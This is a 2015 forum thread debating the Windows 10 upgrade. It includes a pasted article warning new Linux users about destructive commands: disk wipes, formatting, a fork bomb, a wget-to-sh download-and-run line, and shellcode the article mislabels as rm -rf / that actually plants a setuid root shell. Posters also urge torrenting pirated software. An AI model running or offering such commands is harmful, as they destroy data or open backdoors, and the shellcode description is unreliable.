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Old 03-11-2015, 06:29 AM   #1 (permalink)
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Question WINDOWS 10 What do you think

My spare laptop rarely used came with 8,1
I read Windows plan to push 10 and drop updates for earlier versions.

I imagine this will become an issue in LOS where even gvernment offices are back in XP mode?

What do you think? As a non smart person grateful any advice, I can get a free download, should I agree to it?

Any hands on experience?

Also includes Cortana, Is this as tricky as Seri with a range under 2meters in my very quiet room

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Sucks.
Most scams do.
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ive used it a bit. its better than windows 8. Really you do not have a huge choice as microsoft are very keen to get everybody on to this as it core to integrating all their devices, computers tablets phones together.

download it install it use it
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The lightest and most efficient Windows OS yet. It could be the best OS Microsoft had released to date. Loving it.

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You always have a choice. There is always Linux.
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Thanks that sounds encouraging.
Does it have the same appearance on tablet phone and laptop/

How long to teach Cortana to hear my dulcet whispers this will be my main incentive to switch.

Are there any downsides?
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Sucks.
Most scams do.
Why do you say that , I realize you are a fount of knowledge.

It sucks how, ease of use,Cortana?
It is free for me to upgrade now or maybe have to in 2016 in order to get other security updates but why is it a scam?
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I had windows 7 for yonks and had no problems. The prompting message to upgrade kept appearing. I finally relented and did the free upgrade to 10 a few months ago. I wish i had never changed from 7 as 10 is totally disappointing.
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its good. even better if you have a surface pro
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Why so Khvn Dillinger I don't have a suface Pro ut am open minded

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Really you do not have a huge choice as microsoft
which is a big point - microsoft has rushed this out as they want to play in the rental OS scheme which is the app market of apple and google. part of that process is claiming all your personal information and having control over your hardware

don't ever ever think they can't fcuk this up - even if they had the best of intentions , this is security designed by marketing and MBA turds and it will all end in tears


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why don't you try out linux mint on the laptop for a little while and then put windows 7 on it

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My laptop at home kept giving me a pop up about how awesomely fantabulous Windows 10 was and whether or not I'd like to upgrade to it.

I politely declined each time by telling the little pop-up thing to fuck off and all was good with the world until my internet connection dropped out and wouldn't work again. Turns out it was some system conflict thingy associated with not having upgraded to 10.

So basically the upgrade was forced onto me... Except since I couldn't access the interwebs I couldn't download it.
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which is a big point - microsoft has rushed this out as they want to play in the rental OS scheme which is the app market of apple and google. part of that process is claiming all your personal information and having control over your hardware

don't ever ever think they can't fcuk this up - even if they had the best of intentions , this is security designed by marketing and MBA turds and it will all end in tears


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any disclaimers ? like you are sucking on microshill cock at the moment ?
OK wile I can get 10 and Linux free I'd have to pay 14,000 ahts here for a genuine windows 7 ccording to local shop, is this waht you recommend, I defer to your superior knowledge for 14k I can buy a used macbook
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My laptop at home kept giving me a pop up about how awesomely fantabulous Windows 10 was and whether or not I'd like to upgrade to it.

I politely declined each time by telling the little pop-up thing to fuck off and all was good with the world until my internet connection dropped out and wouldn't work again. Turns out it was some system conflict thingy associated with not having upgraded to 10.

So basically the upgrade was forced onto me... Except since I couldn't access the interwebs I couldn't download it.
perhapsp you have inadvertantly mistaken shareware for smegware
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That would explain all the spam I've been receiving from Nigerian scammers and ads for viagra and blow-up dolls.
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Nope this is my independent opinion. Non direct connections with microsoft anymore. 10 is just that good.

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I'd have to pay 14,000 ahts here for a genuine windows 7
Just torrent it for free.
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Nope this is my independent opinion. Non direct connections with microsoft anymore. 10 is just that good.

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Just torrent it for free.

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why don't you try out linux mint on the laptop for a little while
For me, I couldn't be arsed to go through the whole learning cycle.

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8 Deadly Commands You Should Never Run on Linux


Linux’s terminal commands are powerful, and Linux won’t ask you for confirmation if you run a command that will break your system. It’s not uncommon to see trolls online recommending new Linux users run these commands as a joke.
Learning the commands you shouldn’t run can help protect you from trolls while increasing your understanding of how Linux works. This isn’t an exhaustive guide, and the commands here can be remixed in a variety of ways.
Note that many of these commands will only be dangerous if they’re prefixed with sudo on Ubuntu – they won’t work otherwise. On other Linux distributions, most commands must be run as root.
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rm -rf / – Deletes Everything!

The command rm -rf / deletes everything it possible can, including files on your hard drive and files on connected removable media devics. This command is more understandable if it’s broken down:
rm – Remove the following files.
-rf – Run rm recursively (delete all files and folders inside the specified folder) and force-remove all files without prompting you.
/ – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices, including remote file shares and removable drives.
Linux will happily obey this command and delete everything without prompting you, so be careful when using it! The rm command can also be used in other dangerous ways – rm –rf ~ would delete all files in your home folder, while rm -rf .* would delete all your configuration files.
The Lesson: Beware rm -rf.
Disguised rm –rf /

Here’s another snippet of code that’s all over the web:
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64 \x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d \x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16 \xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74 \x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80 \x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62 \x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
This is the hex version of rm –rf / executing this command would wipe out your files just as if you had run rm –rf /.
The Lesson: Don’t run weird-looking, obviously disguised commands that you don’t understand.
){ :|: & };: – Fork Bomb

The following line is a simple-looking, but dangerous, bash function:
){ :|: & };:
This short line defines a shell function that creates new copies of itself. The process continually replicates itself, and its copies continually replicate themselves, quickly taking up all your CPU time and memory. This can cause your computer to freeze. It’s basically a denial-of-service attack.
The Lesson: Bash functions are powerful, even very short ones.

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mkfs.ext4 /dev/sda1 – Formats a Hard Drive

The mkfs.ext4 /dev/sda1 command is simple to understand:
mkfs.ext4 – Create a new ext4 file system on the following device.
/dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.
Taken together, this command can be equivalent to running format c: on Windows – it will wipe the files on your first partition and replace them with a new file system.
This command can come in other forms as well – mkfs.ext3 /dev/sdb2 would format the second partition on the second hard drive with the ext3 file system.
The Lesson: Beware running commands directly on hard disk devices that begin with /dev/sd.
command > /dev/sda – Writes Directly to a Hard Drive

The command > /dev/sda line works similarly – it runs a command and sends the output of that command directly to your first hard drive, writing the data directly to the hard disk drive and damaging your file system.
command – Run a command (can be any command.)
> – Send the output of the command to the following location.
/dev/sda – Write the output of the command directly to the hard disk device.
The Lesson: As above, beware running commands that involve hard disk devices beginning with /dev/sd.
dd if=/dev/random of=/dev/sda – Writes Junk Onto a Hard Drive

The dd if=/dev/random of=/dev/sda line will also obliterate the data on one of your hard drives.
dd – Perform low-level copying from one location to another.
if=/dev/random – Use /dev/random (random data) as the input – you may also see locations such as /dev/zero (zeros).
of=/dev/sda – Output to the first hard disk, replacing its file system with random garbage data.
The Lesson: dd copies data from one location to another, which can be dangerous if you’re copying directly to a device.

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mv ~ /dev/null – Moves Your Home Directory to a Black Hole

/dev/null is another special location – moving something to /dev/null is the same thing as destroying it. Think of /dev/null as a black hole. Essentially, mv ~ /dev/null sends all your personal files into a black hole.
mv – Move the following file or directory to another location.
~ – Represents your entire home folder.
/dev/null – Move your home folder to /dev/null, destroying all your files and deleting the original copies.
The Lesson: The ~ character represents your home folder and moving things to /dev/null destroys them.
wget http://example.com/something -O – | sh – Downloads and Runs a Script

The above line downloads a script from the web and sends it to sh,which executes the contents of the script. This can be dangerous if you’re not sure what the script is or if you don’t trust its source – don’t run untrusted scripts.
wget – Downloads a file. (You may also see curl in place of wget.)
http://example.com/something – Download the file from this location.
| – Pipe (send) the output of the wget command (the file you downloaded) directly to another command.
sh – Send the file to the sh command, which executes it if it’s a bash script.
The Lesson: Don’t download and run untrusted scripts from the web, even with a command.

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It will take updates yes. I haven't bought an OS since XP.
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To a large degree Badders is correct. It is a con, it is forced upon you, it totally dominates your experience and personal data and financial activity - and, yes, Microsoft just wanna make even more money by controlling even more things and making sure everyone complies.

You will be paying, every year for various licences and if you don't then apps will be stopped. It's as simple as that.

I pay for my own Microsoft office, $100 annually and that is what they want everyone to do for the rest of their lives; it's criminal - their profits will be even more massive than before. They also wanna control your purse and transactions and link everything, as Badders says, just like Google and iApple. If you're happy being their bitch and paying up and doing as your told that's fine...

I download win10 on my work computer (which shouldn't actually have been possible as I don't have the right administrator level passwords, etc, but MS did it anyways; not sure how), and now every time I attempt to load up an office doc it just crashes; obviously the company don't have original sw license. I'm in South Korea and MS have been sued for this a couple of years ago, but they simply don't care... If you want to suck MS cock and claim they deserve to have this right and that right then go ahead and drone on; the simple fact of the matter, to me, is that the corporations are globally invading your space ignoring laws around the world time after time for the sake of their corporate profit. They are cnuts...
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To a large degree Badders is correct. It is a con, it is forced upon you, it totally dominates your experience and personal data and financial activity - and, yes, Microsoft just wanna make even more money by controlling even more things and making sure everyone complies.

You will be paying, every year for various licences and if you don't then apps will be stopped. It's as simple as that.

I pay for my own Microsoft office, $100 annually and that is what they want everyone to do for the rest of their lives; it's criminal - their profits will be even more massive than before. They also wanna control your purse and transactions and link everything, as Badders says, just like Google and iApple. If you're happy being their bitch and paying up and doing as your told that's fine...

I download win10 on my work computer (which shouldn't actually have been possible as I don't have the right administrator level passwords, etc, but MS did it anyways; not sure how), and now every time I attempt to load up an office doc it just crashes; obviously the company don't have original sw license. I'm in South Korea and MS have been sued for this a couple of years ago, but they simply don't care... If you want to suck MS cock and claim they deserve to have this right and that right then go ahead and drone on; the simple fact of the matter, to me, is that the corporations are globally invading your space ignoring laws around the world time after time for the sake of their corporate profit. They are cnuts...
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I ow to your superior knowledge of cocksucking and gloal capitalism,surveillance etc.I have nothing to hide.

My purpose was to evaluate the risks and merits for the non technical punter like myself.Let me try and simplify my query

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Old 03-11-2015, 11:05 AM   #22 (permalink)
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I use it because it works, but it feels very invasive and will stop working the minute you stop paying your annual licenses (which won't be a problem because they have your card details and will just automatically debit the cost, and any others they invent or you overlooked in the smallprint (which keeps getting updatted and changed, but nobody ever bothers reading...), for your comfort and security)... If you have MS Office for 10 years then you'll be paying $1000 dollars. I'd like to buy, it seems reasonable to buy MS Office for a one-off charge of $100 and for it to work well for 10 years. Things have become very very expensive through their new payment structures and enforcement of those payments - that is the point of Win10 (aswellas further controls on your money, one button purchases linked to their stores, etc. &, complete control of your history and behaviour).

If you don't keep feeding the goat, the one you only petted for a short while but has suddenly become your lifelong obligation, then you will no longer be offered camels or horses, no matter how many children you have or what religion you follow - I hope that helps...
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Ok while you and I may have cards and willing to pay, surely the local schools here India China will e left with insecure,outmoded or uniseale stuff or will they have ante up,pirate or do without,I'm only asking not to prod you or anyone I genuinely don't know
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It is a con, it is forced upon you, it totally dominates your experience and personal data and financial activity
Clueless and paranoid you are Betty. The first thing I did was deactivate cortina, automatic updates and apps. 10 is in no way "dominating" my financial activity. I haven't bought a god damn thing from them and have not been prompted to.

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I pay for my own Microsoft office, $100 annually
Then you should be slapped with the stupid stick. I download it for free via torrent. Laughable you lot.

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which won't be a problem because they have your card details and will just automatically debit the cost, and any others they invent or you overlooked in the smallprint
Then that is your fault for giving them your card number and not reading the fine print. Auto billing is standard practice these days and it is your responsibility to check for it. Like I said before MS does not and will not ever have my CC numbers.
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BTW Microsoft has sent out updates to Windows 7 and 8 that now do the same data collection as 10. So if you think you are safe by not upgrading you are wrong.
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